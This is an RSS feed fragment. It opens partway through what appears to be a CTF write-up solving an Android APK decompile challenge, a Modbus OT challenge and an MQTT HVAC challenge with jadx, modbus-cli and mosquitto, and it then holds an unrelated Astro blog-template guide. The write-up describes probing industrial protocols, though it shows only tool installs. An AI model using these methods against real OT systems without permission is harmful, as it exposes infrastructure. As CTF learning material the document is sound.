&lt;li&gt;From the description, we got the apk file &lt;code&gt;mobilechall1.apk&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;After decompiling the file with &lt;a href=&quot;https://github.com/skylot/jadx&quot;&gt;&lt;code&gt;jadx-gui&lt;/code&gt;&lt;/a&gt; software for Windows,.&lt;/li&gt;
&lt;li&gt;After digging around in the decompiled classes and Java files, I found an example. &lt;code&gt;example.ctfchall&lt;/code&gt; package which contains the class files of the decompiled code, and from this directory, i got the &lt;code&gt;MainActivity&lt;/code&gt; file, which contains the &lt;code&gt;half-flag&lt;/code&gt; in encoded format.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%209.png&quot; alt=&quot;images/image%209.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After decoding this base85-encoded string, I got to know that this flag was pointing out something, which is &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2010.png&quot; alt=&quot;images/image%2010.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Then check out the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file and hurray i got the another part of flag then i decode it with base64 scheme and assemble the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2011.png&quot; alt=&quot;images/image%2011.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2012.png&quot; alt=&quot;images/image%2012.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Assembling the Flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2013.png&quot; alt=&quot;images/image%2013.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;OT&lt;/h1&gt;
&lt;h2&gt;Modulus bus Station&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121959.png&quot; alt=&quot;Screenshot 2024-08-11 121959.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As per decryption, I can understand that I have to use the Modbus client tool to connect with the protocol. After some searching, I found a tool named &lt;code&gt;modbus_cli&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;pip install modbus-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After installing it, I saw the manual for its usage, and after a while, I knew how to use it and got some raw data bytes in hex.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_121143.png&quot; alt=&quot;Screenshot 2024-08-11 121143.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2014.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I cleaned up the data in these 3 steps:
&lt;ol&gt;
&lt;li&gt;First, grep all the hex data and remove other stuff in a file.&lt;/li&gt;
&lt;li&gt;Then I convert each bytes hex to ASCII character equivalent.&lt;/li&gt;
&lt;li&gt;Then remove all the duplicate bytes from the data.&lt;/li&gt;
&lt;li&gt;Then combine all the data.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2015.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Then i try to decode it from CyberChef and i got the flag, 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image%2016.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;mqtt - Master Qutie TT - P1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_122010.png&quot; alt=&quot;Screenshot 2024-08-11 122010.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As per the decryption given, we have to access the HVAC system and try to subscribe to all the subtopics.&lt;/li&gt;
&lt;li&gt;So first of all, I don’t know how to access the mqtt service, so I just did a Google search and got the treasure.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://book.hacktricks.xyz/network-services-pentesting/1883-pentesting-mqtt-mosquitto&quot;&gt;&lt;strong&gt;&lt;code&gt;1883: Pentesting MQTT (Mosquitto)&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;From this, I know which tool to use and how to use it, so I use &lt;code&gt;Mosquito.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;apt-get install mosquitto mosquitto-clients # Install the tool
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;From Blog, I used the -t option for subscribing to all the subtopics, and from that, I got the flag. 🕺&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Screenshot_2024-08-11_120824.png&quot; alt=&quot;Screenshot 2024-08-11 120824.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Simple Guides for Fuwari</title><link>https://fuwari.vercel.app/posts/guide/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/guide/</guid><description>How to use this blog template.</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/208fc754-890d-4adb-9753-2c963332675d/width=2048/01651-1456859105-(colour_1.5),girl,_Blue,yellow,green,cyan,purple,red,pink,_best,8k,UHD,masterpiece,male%20focus,%201boy,gloves,%20ponytail,%20long%20hair,.jpeg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This blog template is built with &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt;. For the things that are not mentioned in this guide, you may find the answers in the &lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Docs&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Front-matter of Posts&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;title&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The title of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;published&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The date the post was published.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A short description of the post. Displayed on index page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;image&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The cover image path of the post.&amp;lt;br/&amp;gt;1. Start with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt;: Use web image&amp;lt;br/&amp;gt;2. Start with &lt;code&gt;/&lt;/code&gt;: For image in &lt;code&gt;public&lt;/code&gt; dir&amp;lt;br/&amp;gt;3. With none of the prefixes: Relative to the markdown file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The tags of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;category&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The category of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;draft&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;If this post is still a draft, which won&apos;t be displayed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Where to Place the Post Files&lt;/h2&gt;
&lt;p&gt;Your post files should be placed in &lt;code&gt;src/content/posts/&lt;/code&gt; directory. You can also create sub-directories to better organize your posts and assets.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.png
    └── index.md
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>